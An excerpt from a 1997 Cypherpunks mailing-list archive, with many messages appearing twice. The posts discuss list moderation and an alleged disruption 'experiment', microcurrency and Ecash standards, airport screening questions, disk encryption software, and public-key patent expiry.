Date: Mon, 20 Jan 1997 17:40:37 -0800 (PST)
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: Dr. Vulis' social engineering experiment
Message-ID: <199701210140.RAA25601@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Also Sprach Adam Back:
> 
> It is my belief
> that his posts can only be understood in a "meta" sense -- he is
> engaged in a highly complex cryptographic experiment.  People who read
> and respond to his individual posts are the unwitting subjects in his
> experiments.  His posts and the responses to them are actually the
> data-set for a thorough cryptanalysis of mailing list threats.  His
> current topic under investigation is Denial of Service (DoS) attacks
> on mailing lists.

I agree that this is what is being done, but the experiment dorsn't have
as much to do with cryptanalysis as much as it has to do with sociology. 
 The limits here are not mathematical and static, they are social and
based on the limits of tolerance of both the group and the individual. 

> I await with interest the last phases of Dimitri's experiment, when
> the cypherpunks list becomes a moderated forum.

That appears to be the main brunt of his efforts, to "push the envelope"
of free speech in order to force it's definition. Perhaps to exhibit
the necessity for a controlling authority, and thus justify the existence
of the various agencies which are trying to control the flow of 
information in this country and elsewhere. 

> I hope Dimitri's selfless efforts in furthering understanding of DoS
> attacks on mailing lists is properly acknowledged when he publishes
> his findings on completion of his experiments.  I also hope that
> Dimitri will document his recommendations for mailing list
> configuration and management in light of his experiments.
 
I would not say that what he is doing is a bit selfless, the Clipper
Chip crowd are probably lining his pockets in a big way. That's 
acknowledgement enough for me. :-/ 
 
"In peacetime, a warlike man sets upon himself." -- Nietzsche

-- 
Marcus: "They'll try to kill you."         |
Xena: "Oh, I still have a few tricks       | "Here we GO!!!" 
       left up my sleeve...I don't         |           -- Jane's Addiction
       have any sleeves!" -- Xena bloopers |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 20 Jan 1997 18:33:01 -0800 (PST)
To: Jane Jefferson <gotagun@liii.com>
Subject: Re: Dr. Vulis' social engineering experiment
In-Reply-To: <199701210118.UAA28283@rowan.liii.com>
Message-ID: <32E4477E.3F8B@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Jane Jefferson wrote: 
> Also Sprach Adam Back:
> > I await with interest the last phases of Dimitri's experiment, when
> > the cypherpunks list becomes a moderated forum.
> 
> That appears to be the main brunt of his efforts, to "push the envelope"
> of free speech in order to force it's definition. Perhaps to exhibit
> the necessity for a controlling authority, and thus justify the existence
> of the various agencies which are trying to control the flow of
> information in this country and elsewhere.

  If what you say is true, then Dr. DV K's efforts are quite possibly 
the most important issue being addressed in this conference, because
behind free speech, lies the most important issue of all--when does
it start, and when does it stop.

  Cryptography, above all, enables the ability of a group or an
individual
to keep their communications secret, safe from prying eyes.
  The military-industrial complex proclaims this necessary for the
purposes of state-security, and denies that it is used in order to keep 
their 'sins' from being exposed. (If you believe this, then please 
contact me by private email regarding an ocean-front property I have
available in Tucson, AZ.  If you act quickly, I will throw in a set
of the Amazing Ginzu Knives as an added bonus.)
   The crypto-cognizant citizen proclaims cryptographical ability as
a means of empowering their rights of free speech.  The more intelligent
of them recognize as misinformation the government's feeble claims that
they cannot successfully investigate someone moving tons of illegal
drugs into the country unless they have the capacity to eavesdrop on
the private correspondences of 'all' of their citizens. (Which is the
equivalent, in my mind, of claiming that AIDS cannot be held in check
without knowing the details of all of the citizens sex-lives.)

  In short, I believe that if the issue of free speech is not one of
the central issues on the CypherPunks list, then the list is merely
one more heartless, unfeeling extension of the Great Machine which
is grinding inexorably forward toward the day when we will all have
its numbers tattoo'd on our forearms.
  As far as I am concerned, any CypherPunk who believes that the
socio/politico issues surrounding cryptography are not important
enough to be an integral part of this list is falling into the
same type of trap as those who think that they can become good
cryptographers without becoming good cryptanalysts.  Those who
seek to become merely cryptographers seem to think that 'numbers
rule'--those who seek to be able to analyze the end-result of 
those 'numbers' realize that the minds, hearts and souls 'behind'
those numbers tell the story of how people think and feel, and
the motivations behind their cryptographical intent. (And also
reveals where their vulnerabilities lie.)
  Thinking that cryptography is about 'numbers' is akin to thinking
that equality is about 'skin-color'.

> "In peacetime, a warlike man sets upon himself." -- Nietzsche

  "In times of war, a peacelike man sets upon others."
       Bubba Rom Dos

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 20 Jan 1997 20:10:53 -0800 (PST)
To: Jane Jefferson <gotagun@liii.com>
Subject: Re: Dr. Vulis' social engineering experiment
Message-ID: <199701210410.UAA28003@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jane Jefferson wrote: 
> Also Sprach Adam Back:
> > I await with interest the last phases of Dimitri's experiment, when
> > the cypherpunks list becomes a moderated forum.
> 
> That appears to be the main brunt of his efforts, to "push the envelope"
> of free speech in order to force it's definition. Perhaps to exhibit
> the necessity for a controlling authority, and thus justify the existence
> of the various agencies which are trying to control the flow of
> information in this country and elsewhere.

  If what you say is true, then Dr. DV K's efforts are quite possibly 
the most important issue being addressed in this conference, because
behind free speech, lies the most important issue of all--when does
it start, and when does it stop.

  Cryptography, above all, enables the ability of a group or an
individual
to keep their communications secret, safe from prying eyes.
  The military-industrial complex proclaims this necessary for the
purposes of state-security, and denies that it is used in order to keep 
their 'sins' from being exposed. (If you believe this, then please 
contact me by private email regarding an ocean-front property I have
available in Tucson, AZ.  If you act quickly, I will throw in a set
of the Amazing Ginzu Knives as an added bonus.)
   The crypto-cognizant citizen proclaims cryptographical ability as
a means of empowering their rights of free speech.  The more intelligent
of them recognize as misinformation the government's feeble claims that
they cannot successfully investigate someone moving tons of illegal
drugs into the country unless they have the capacity to eavesdrop on
the private correspondences of 'all' of their citizens. (Which is the
equivalent, in my mind, of claiming that AIDS cannot be held in check
without knowing the details of all of the citizens sex-lives.)

  In short, I believe that if the issue of free speech is not one of
the central issues on the CypherPunks list, then the list is merely
one more heartless, unfeeling extension of the Great Machine which
is grinding inexorably forward toward the day when we will all have
its numbers tattoo'd on our forearms.
  As far as I am concerned, any CypherPunk who believes that the
socio/politico issues surrounding cryptography are not important
enough to be an integral part of this list is falling into the
same type of trap as those who think that they can become good
cryptographers without becoming good cryptanalysts.  Those who
seek to become merely cryptographers seem to think that 'numbers
rule'--those who seek to be able to analyze the end-result of 
those 'numbers' realize that the minds, hearts and souls 'behind'
those numbers tell the story of how people think and feel, and
the motivations behind their cryptographical intent. (And also
reveals where their vulnerabilities lie.)
  Thinking that cryptography is about 'numbers' is akin to thinking
that equality is about 'skin-color'.

> "In peacetime, a warlike man sets upon himself." -- Nietzsche

  "In times of war, a peacelike man sets upon others."
       Bubba Rom Dos

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 20 Jan 1997 21:12:29 -0800 (PST)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: microcurrency: Netscape vs. Microsoft
Message-ID: <3.0.32.19970120210810.006dd5cc@192.100.81.126>
MIME-Version: 1.0
Content-Type: text/plain


At 11:46 AM 1/20/97 -0800, Vladimir Z. Nuri wrote:
>[microcurrency]
>>It will also not catch on until there are better standards involving
>>microcurrency transactions amongst the vendors.  It would also help if
>>there was a single interface (or "helper app") for whatever vendor you
>>decided to go with.

I am not sure that is feasible. Single interface, perhaps. Sun's Java Wallet is  step in this direction. Single helper app, not a chance. The systems are too different, and do not share a sufficient number of properties, to use the same helper app.

>as I see it, I think there are a few key standards that need 
>to be devised: 
>
>1. an html tag that indicates how much a link costs, probably in
>the <a href="" cost=xx> type syntax

This could be done, but is, IMHO, too inflexible.

>2. modification of http to support a payment mechanism, by sending
>a token.

Take a look at PEP and UPP. This may not be what you are looking for, but it is a start.  Available at any IETF draft repository.
[...]

>>Currently every vendor of payment schemes has made it proprietary in some
>>way.  (At least the ones I have seen.)  This means that if the user visits
>>three different web pages, each using a payment scheme from a different
>>vendor, that user has to be signed up with all of those vendors.  (Or at
>>least have their helper apps.)

The systems are *not* interchangeable due to fundamental differences in the design. This is not a software/UI issue.

I do not expect the signup requirements to last much longer. To give just one example, take a look at the current discussions on dev-lucre, a list for the Unofficial Cypherpunks Implementation of Ecash. [Sorry, I don't have the archive URL.]

http://www.isaac.cs.berkeley.edu/ntlucre/ has the latest version.

The list is currently discussing an ActiveX Ecash control. With -lucre, you no longer need to sign up with an issuer. Assuming an ActiveX control, the client software installs itself. As to the merchant software, Stronghold already ships with Ecash support built in. Netscape has announce that Navigator will ship with CyberCash. There is definitely movement at the browser/server end.





-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 20 Jan 1997 21:40:50 -0800 (PST)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: microcurrency: Netscape vs. Microsoft
Message-ID: <199701210540.VAA29342@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:46 AM 1/20/97 -0800, Vladimir Z. Nuri wrote:
>[microcurrency]
>>It will also not catch on until there are better standards involving
>>microcurrency transactions amongst the vendors.  It would also help if
>>there was a single interface (or "helper app") for whatever vendor you
>>decided to go with.

I am not sure that is feasible. Single interface, perhaps. Sun's Java Wallet is  step in this direction. Single helper app, not a chance. The systems are too different, and do not share a sufficient number of properties, to use the same helper app.

>as I see it, I think there are a few key standards that need 
>to be devised: 
>
>1. an html tag that indicates how much a link costs, probably in
>the <a href="" cost=xx> type syntax

This could be done, but is, IMHO, too inflexible.

>2. modification of http to support a payment mechanism, by sending
>a token.

Take a look at PEP and UPP. This may not be what you are looking for, but it is a start.  Available at any IETF draft repository.
[...]

>>Currently every vendor of payment schemes has made it proprietary in some
>>way.  (At least the ones I have seen.)  This means that if the user visits
>>three different web pages, each using a payment scheme from a different
>>vendor, that user has to be signed up with all of those vendors.  (Or at
>>least have their helper apps.)

The systems are *not* interchangeable due to fundamental differences in the design. This is not a software/UI issue.

I do not expect the signup requirements to last much longer. To give just one example, take a look at the current discussions on dev-lucre, a list for the Unofficial Cypherpunks Implementation of Ecash. [Sorry, I don't have the archive URL.]

http://www.isaac.cs.berkeley.edu/ntlucre/ has the latest version.

The list is currently discussing an ActiveX Ecash control. With -lucre, you no longer need to sign up with an issuer. Assuming an ActiveX control, the client software installs itself. As to the merchant software, Stronghold already ships with Ecash support built in. Netscape has announce that Navigator will ship with CyberCash. There is definitely movement at the browser/server end.





-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Mon, 20 Jan 1997 18:27:26 -0800 (PST)
To: abostick@netcom.com (Alan Bostick)
Subject: Re: Airport security [no such thing]
In-Reply-To: <199701210040.QAA24710@toad.com>
Message-ID: <199701210223.VAA20804@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


	Recall that all security is economics.  The airlines want the
appearance of security without having to pay for it.

	The '3 questions' ("Pack your luggage?  let it out of your
sight?  Taking any gifts?") originated with El Al, where they are the
introduction to a very expensive (and privacy invading) set of
screening questions.  The El Al people are trained to watch you as
they ask the questions, and respond to signs of lying or rehersal.
The Americans read the questions off the screen, and pay no attention
to your answers.

	The market, however, is irrational*, and airlines prefer to
have government imposed regulations over having to actually figure out
what works, and do it.

	*The market is irrational because statistics on what airlines
are safer than others is closely held knowledge of the FAA.

Adam


Alan Bostick wrote:

| She presented the gate agent with *four* tickets and *four* IDs.  "Where
| are these other people?" the agent asked.  "They're parking the car,"
| said the traveler.  The agent gave her all four boarding passes; and my
| companion and I were bumped to the third boarding group.
| 
| The woman in front of us was white and middle-class-looking, traveling
| with what appeared to be her family.  One wonders what would have
| happened were she a swarthy man wearing robes and a burnoose.  Or if she
| were just wearing shabby clothes. 

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Mon, 20 Jan 1997 20:16:04 -0800 (PST)
To: Alan Bostick <abostick@netcom.com>
Subject: Re: Airport security [no such thing]
Message-ID: <199701210416.UAA28041@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


	Recall that all security is economics.  The airlines want the
appearance of security without having to pay for it.

	The '3 questions' ("Pack your luggage?  let it out of your
sight?  Taking any gifts?") originated with El Al, where they are the
introduction to a very expensive (and privacy invading) set of
screening questions.  The El Al people are trained to watch you as
they ask the questions, and respond to signs of lying or rehersal.
The Americans read the questions off the screen, and pay no attention
to your answers.

	The market, however, is irrational*, and airlines prefer to
have government imposed regulations over having to actually figure out
what works, and do it.

	*The market is irrational because statistics on what airlines
are safer than others is closely held knowledge of the FAA.

Adam


Alan Bostick wrote:

| She presented the gate agent with *four* tickets and *four* IDs.  "Where
| are these other people?" the agent asked.  "They're parking the car,"
| said the traveler.  The agent gave her all four boarding passes; and my
| companion and I were bumped to the third boarding group.
| 
| The woman in front of us was white and middle-class-looking, traveling
| with what appeared to be her family.  One wonders what would have
| happened were she a swarthy man wearing robes and a burnoose.  Or if she
| were just wearing shabby clothes. 

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: FrozenHell <fhell@nether.net>
Date: Mon, 20 Jan 1997 21:42:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Hard Drive Encryption
Message-ID: <3.0.16.19970120192722.37ef8cbc@mail.nether.net>
MIME-Version: 1.0
Content-Type: text/plain


I found a program on the internet called POTASSIUM HYDROXIDE that says it
will encrypt your hard drive... then when ever you turn on your computer it
will request a password before it even accesses your DOS. If you put in the
right password it will load as a TSR that will let your access your
encrypted hard drive.

But I have a Western Digital Caviar Hard Drive and have the use the W.D.
Disk Manager v6.03d that comes with it... this is another program that
loads before your DOS... does anyone know if this program Potassium
Hydroxide will work with W.D. Disk Manager and work under Win 3.11/95. I
don't want to risk gibbling all the info on my hard drive.

 If not does anyone know of a program that will let me encrypt my hard disk
and decrypt it will a password before my DOS is loaded and work with the
above programs of mine.

If it helps I am using DOS 6.21 with Windows 3.11 (  I'm upgrading to `95
soon ;>  )

-FrozenHell (fhell@nether.net)




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: FrozenHell <fhell@nether.net>
Date: Mon, 20 Jan 1997 22:14:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Hard Drive Encryption
Message-ID: <199701210614.WAA00109@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I found a program on the internet called POTASSIUM HYDROXIDE that says it
will encrypt your hard drive... then when ever you turn on your computer it
will request a password before it even accesses your DOS. If you put in the
right password it will load as a TSR that will let your access your
encrypted hard drive.

But I have a Western Digital Caviar Hard Drive and have the use the W.D.
Disk Manager v6.03d that comes with it... this is another program that
loads before your DOS... does anyone know if this program Potassium
Hydroxide will work with W.D. Disk Manager and work under Win 3.11/95. I
don't want to risk gibbling all the info on my hard drive.

 If not does anyone know of a program that will let me encrypt my hard disk
and decrypt it will a password before my DOS is loaded and work with the
above programs of mine.

If it helps I am using DOS 6.21 with Windows 3.11 (  I'm upgrading to `95
soon ;>  )

-FrozenHell (fhell@nether.net)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 20 Jan 1997 21:47:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dr Vulis's crypto experiment (Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT)
In-Reply-To: <199701200308.VAA06655@manifold.algebra.com>
Message-ID: <32E4581D.2A5A@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> my predictions:

>         1) Dale Thorn will become another Kagalenko and will mailbomb mods

Unless someone can give me good enough reason to get involved with
communications programming, even at a macro level, I doubt I'll be
much of a technical threat to c-punks et al.  I suspect that the main
reason for much of Sandy's fear and loathing of late is not the
incessant Spamming of the c-punks list, but rather the presence of a
superior, dominant intellect which threatens his space here.

Which would you fear most: The government looking over your shoulder,
checking for possible ITAR violations, or a relentless critic who's
apparently made it his current life's mission to ceaselessly point out
your limitations to the whole world?

>         2) 90% of cypherpunks-moderated will be about moderation
>            and censorship

This topic should be one of the easiest to cut....

>         3) there will be massive openings of alternative cypherpunks
>            mailing lists, all doomed to fail

Failure or success depends on many factors.  Unfortunately, most
successes in real life are money-sponsored, and therefore necessarily
contain a driving, but hidden agenda.

>         4) several alt.* newsgroups like alt.cypherpunks will be created

Most people watch TV rather than get involved in anything. Whatever is
interesting about that (other than as an academic study) I don't know.

>         5) main business of freedom-knights will be shitting and spitting
>            at cypherpunks in alt.cypherpunks

I've been posting some intense material to freedom-knights, but the
response has been quite restrained.  One could conjecture that the
interest level there is not high (as far as c-punks goes), or that
the maturity level is higher than other places...

>         6) moderators will spend increasing amounts of time on their work

In mathematics, when something doesn't compute intuitively, although
on paper the proposition looks OK, you'd say "there's something wrong
or missing here, it doesn't add up", etc.  Moderators spending lots of
time moderating postings from the hoi polloi doesn't add up either.

>         7) crossposting between alt.cypherpunks and mail.cypherpunks
>            will be prohibited by alt.cypherpunks FAQ, posted monthly
>            by Dr. John Martin Grubor

This thing about crossposting is way overblown.  I was told forcefully
once not to crosspost to c-punks and coderpunks, as though one list were
a true subset of the other.  Posters should be advised of the specific
reasons for not "crossposting" to certain list combinations, unless you
are referring only to commercial Spam or other 'bot-generated mail.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 20 Jan 1997 22:12:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dr Vulis's crypto experiment (Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT)
Message-ID: <199701210612.WAA29987@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> my predictions:

>         1) Dale Thorn will become another Kagalenko and will mailbomb mods

Unless someone can give me good enough reason to get involved with
communications programming, even at a macro level, I doubt I'll be
much of a technical threat to c-punks et al.  I suspect that the main
reason for much of Sandy's fear and loathing of late is not the
incessant Spamming of the c-punks list, but rather the presence of a
superior, dominant intellect which threatens his space here.

Which would you fear most: The government looking over your shoulder,
checking for possible ITAR violations, or a relentless critic who's
apparently made it his current life's mission to ceaselessly point out
your limitations to the whole world?

>         2) 90% of cypherpunks-moderated will be about moderation
>            and censorship

This topic should be one of the easiest to cut....

>         3) there will be massive openings of alternative cypherpunks
>            mailing lists, all doomed to fail

Failure or success depends on many factors.  Unfortunately, most
successes in real life are money-sponsored, and therefore necessarily
contain a driving, but hidden agenda.

>         4) several alt.* newsgroups like alt.cypherpunks will be created

Most people watch TV rather than get involved in anything. Whatever is
interesting about that (other than as an academic study) I don't know.

>         5) main business of freedom-knights will be shitting and spitting
>            at cypherpunks in alt.cypherpunks

I've been posting some intense material to freedom-knights, but the
response has been quite restrained.  One could conjecture that the
interest level there is not high (as far as c-punks goes), or that
the maturity level is higher than other places...

>         6) moderators will spend increasing amounts of time on their work

In mathematics, when something doesn't compute intuitively, although
on paper the proposition looks OK, you'd say "there's something wrong
or missing here, it doesn't add up", etc.  Moderators spending lots of
time moderating postings from the hoi polloi doesn't add up either.

>         7) crossposting between alt.cypherpunks and mail.cypherpunks
>            will be prohibited by alt.cypherpunks FAQ, posted monthly
>            by Dr. John Martin Grubor

This thing about crossposting is way overblown.  I was told forcefully
once not to crosspost to c-punks and coderpunks, as though one list were
a true subset of the other.  Posters should be advised of the specific
reasons for not "crossposting" to certain list combinations, unless you
are referring only to commercial Spam or other 'bot-generated mail.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Mon, 20 Jan 1997 21:52:24 -0800 (PST)
To: adam@homeport.org (Adam Shostack)
Subject: Re: Airport security [no such thing]
In-Reply-To: <199701210416.UAA28041@toad.com>
Message-ID: <199701210550.VAA32028@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Shostack writes:
 
> 	The '3 questions' ("Pack your luggage?  let it out of your
> sight?  Taking any gifts?") originated with El Al, where they are the
> introduction to a very expensive (and privacy invading) set of
> screening questions.  The El Al people are trained to watch you as
> they ask the questions, and respond to signs of lying or rehersal.
> The Americans read the questions off the screen, and pay no attention
> to your answers.

Some airlines here in the US have set up "check in" terminals
near the gate so you can check in there instead of having to
deal with human beings at the desk.  The terminal asks the
magic three questions.  No chance for seeing someone's reaction
to the questions there (unless of course there's a hidden camera 
pointed at the terminal, or some sort of biometric device attached).

One time I asked a ticket guy if he's ever had anyone say "yes" to
the magic questions, his answer was that the one time it happened 
the person turned out to be an FAA three-questions enforcement squad
conducting a check.


-- 
Eric Murray  ericm@lne.com  ericm@motorcycle.com  http://www.lne.com/ericm
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Mon, 20 Jan 1997 22:10:53 -0800 (PST)
To: Adam Shostack <adam@homeport.org>
Subject: Re: Airport security [no such thing]
Message-ID: <199701210610.WAA29969@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Shostack writes:
 
> 	The '3 questions' ("Pack your luggage?  let it out of your
> sight?  Taking any gifts?") originated with El Al, where they are the
> introduction to a very expensive (and privacy invading) set of
> screening questions.  The El Al people are trained to watch you as
> they ask the questions, and respond to signs of lying or rehersal.
> The Americans read the questions off the screen, and pay no attention
> to your answers.

Some airlines here in the US have set up "check in" terminals
near the gate so you can check in there instead of having to
deal with human beings at the desk.  The terminal asks the
magic three questions.  No chance for seeing someone's reaction
to the questions there (unless of course there's a hidden camera 
pointed at the terminal, or some sort of biometric device attached).

One time I asked a ticket guy if he's ever had anyone say "yes" to
the magic questions, his answer was that the one time it happened 
the person turned out to be an FAA three-questions enforcement squad
conducting a check.


-- 
Eric Murray  ericm@lne.com  ericm@motorcycle.com  http://www.lne.com/ericm
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Mon, 20 Jan 1997 18:58:15 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: GSM technology
In-Reply-To: <3.0.32.19970120132632.006e91cc@192.100.81.126>
Message-ID: <Pine.SOL.3.93.970120215321.28430D-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain




	ADSL will be the best for movies... i can't wait .
	

On Mon, 20 Jan 1997, Lucky Green wrote:

> At 09:43 AM 1/20/97 -0500, Nurdane Oksas wrote:
> >	Does anyone use ADSL lines?  or are they still very expensive?
> 
> I just had a very interesting talk with somebody from Northern Telecom (Canada's Phone Company). NorTel has apparently skipped ISDN and is now deploying ADSL. Some areas already have access to ADSL at, can you believe this, $60/month.
> 
> 
> 
> -- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
>    Make your mark in the history of mathematics. Use the spare cycles of
>    your PC/PPC/UNIX box to help find a new prime.
>    http://www.mersenne.org/prime.htm
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Mon, 20 Jan 1997 20:10:52 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: GSM technology
Message-ID: <199701210410.UAA28002@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




	ADSL will be the best for movies... i can't wait .
	

On Mon, 20 Jan 1997, Lucky Green wrote:

> At 09:43 AM 1/20/97 -0500, Nurdane Oksas wrote:
> >	Does anyone use ADSL lines?  or are they still very expensive?
> 
> I just had a very interesting talk with somebody from Northern Telecom (Canada's Phone Company). NorTel has apparently skipped ISDN and is now deploying ADSL. Some areas already have access to ADSL at, can you believe this, $60/month.
> 
> 
> 
> -- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
>    Make your mark in the history of mathematics. Use the spare cycles of
>    your PC/PPC/UNIX box to help find a new prime.
>    http://www.mersenne.org/prime.htm
> 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 20 Jan 1997 22:02:22 -0800 (PST)
To: hjk <hjk@ddorf.rhein-ruhr.de>
Subject: Re: Thoughts re moderation, filtering, and name changes
In-Reply-To: <Pine.LNX.3.95.970120142318.307A-100000@alien.ddorf.rhein-ruhr.de>
Message-ID: <32E45AA6.330A@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


hjk wrote:
> Just one thing about the names of the different lists: I received a
> mail listing the changes to come. It was very easy to understand that
> I am going to get the moderated list if I do not change my subscription.
> I'll find out if I will miss something. We'll see.
> I wonder who is so brainless, not to understand what's going on.
> Do you really think the subscribers are pure Idiots?

Well, Heinz.  You live in a country full of people, ordinary people,
variously called the hoi polloi, the sheeple, the unwashed masses,
and other interesting names.

Many credible and respected authors and commentators have made references
to the masses in one form or another as "stupid, lazy, ignorant,
selfish, etc.", or even "almost useless".

Now whatever you think of your fellow citizens, or even those of the
USA (to name an example), I'm sure is OK on whatever basis you apply
your judgement.  But I guarantee you that the people on the cypherpunks
list are no more or less intelligent than the people who vegetate in
front of their TV sets every day, right there where you live, in all
probability. If you believe that your fellow citizens vote intelligently,
then I respond that cypherpunks vote intelligently.  What do you think?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 21 Jan 1997 06:40:27 -0800 (PST)
To: hjk <hjk@ddorf.rhein-ruhr.de>
Subject: Re: Thoughts re moderation, filtering, and name changes
Message-ID: <199701211440.GAA06625@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


hjk wrote:
> Just one thing about the names of the different lists: I received a
> mail listing the changes to come. It was very easy to understand that
> I am going to get the moderated list if I do not change my subscription.
> I'll find out if I will miss something. We'll see.
> I wonder who is so brainless, not to understand what's going on.
> Do you really think the subscribers are pure Idiots?

Well, Heinz.  You live in a country full of people, ordinary people,
variously called the hoi polloi, the sheeple, the unwashed masses,
and other interesting names.

Many credible and respected authors and commentators have made references
to the masses in one form or another as "stupid, lazy, ignorant,
selfish, etc.", or even "almost useless".

Now whatever you think of your fellow citizens, or even those of the
USA (to name an example), I'm sure is OK on whatever basis you apply
your judgement.  But I guarantee you that the people on the cypherpunks
list are no more or less intelligent than the people who vegetate in
front of their TV sets every day, right there where you live, in all
probability. If you believe that your fellow citizens vote intelligently,
then I respond that cypherpunks vote intelligently.  What do you think?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Thaddeus J. Beier" <thad@hammerhead.com>
Date: Tue, 21 Jan 1997 06:40:29 -0800 (PST)
To: "sandfort@crl.com>
Subject: Re: Question on Diffie-Hellman patent
Message-ID: <199701211440.GAA06630@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> > Diffie-Hellman   4,200,770  Sept. 6, 1977  Apr. 29, 1980   Sept. 6, 1997
> > Hellman-Merkle   4,218,582  Oct. 6, 1977   Aug. 19, 1980   Oct. 6, 1997
> > RSA              4,405,829  Dec. 14, 1977  Sept. 20, 1983  Sept. 20, 2000
> 
> So who's planning on throwing a big party on Sept. 6th?  Will Jim Bizos be  
> celebrating?  :-)

Well, Jim Bizdos now has an unlimited license to the DH and HM
patents,  due to a recent settlement with Cylink, so he probably
won't be celebrating.

I'd wait 'til the October 6th date for the real party, RSA and
Cylink's lawyers have always claimed the HM gave them a claim to
all of public key cryptography...that's the one I've been waiting
for, and it's only another month :-)  This is going to be a very
good year.

If you look at Roger Schlafly's home page,
http://bbs.cruzio.com/~schlafly
you'll see that he's been fighting these guys for years; and he concedes
now that even with his herculean efforts to move the process along, the
trial probably won't come to a head before the patents expire.  I'd love
to see his estimate of how much their lawyers have spent on this over
the
years...

-- Thaddeus Beier                     thad@hammerhead.com
   Visual Effects Supervisor                408) 287-6770
   Hammerhead Productions  http://www.got.net/people/thad





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Mon, 20 Jan 1997 22:32:15 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: RSA challenge: is it legal to try?
Message-ID: <199701210631.WAA03064@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 05:33 PM 1/16/97 -0800, Bill Stewart wrote:
>At 08:13 PM 1/14/97 -0800, jim bell wrote:
>>US.  Alone, that would have denied non-US patents to RSA.   However, such an 
>>explanation grandly ignores the fact that computer software (let alone 
>>mathematics in general) was not considered patentable ANYWHERE (?) before 
>>public-key systems made their appearance in 1976.
>...
>>I'm still waiting for an "innocent" explanation for the US patent office 
>>beginning to issue software patents.  I don't think there is one.
>
>The first software patent was Dennis Ritchie's patent on setUID.

So what year was that?

>Computer security is one area that, if you're going to allow patents
>on software at all (which I think are a bad idea, but that's politics)

No, it's not JUST politics.  It's also (im)practicality.  Even if, arguably, 
software OUGHT TO be patentable, going from a time in which software wasn't 
patentable to software patentability is essentially impossible.  First, it 
requires (or, at least, ought to require, if they were to do it 
right...which they didn't) a searchable compilation of all previously 
existing software ideas and constructs to ensure that obvious or 
previously-existing ideas were not given patents.  Since prior to about 1976 
there was no motivation on anyone's part to collect such a database (secrecy 
